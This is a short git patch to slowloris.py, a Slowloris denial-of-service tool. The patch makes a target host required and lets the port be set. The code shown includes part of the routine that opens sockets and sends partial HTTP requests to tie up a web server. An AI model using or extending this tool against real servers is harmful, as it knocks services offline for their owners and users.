From d23a1f9427f9162b0f11ba9ff983d2ab503d7fab Mon Sep 17 00:00:00 2001 From: GettingGodlyInThisGame Date: Sat, 12 Nov 2016 12:45:26 +1300 Subject: [PATCH] Fixes user being able to attempt to run attack without host and issue #6 \(Can't specify port\) --- slowloris.py | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/slowloris.py b/slowloris.py index 8f0bc2a..8d4f805 100644 --- a/slowloris.py +++ b/slowloris.py @@ -10,7 +10,12 @@ parser.set_defaults(verbose=False) parser.set_defaults(randuseragent=False) args = parser.parse_args() -if len(sys.argv)==1: +if len(sys.argv)<=1: + parser.print_help() + sys.exit(1) + +if not args.host: + print("Host required!") parser.print_help() sys.exit(1) @@ -54,7 +59,7 @@ user_agents = [ def init_socket(ip): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(4) - s.connect((ip,80)) + s.connect((ip,args.port)) s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8")) if args.randuseragent: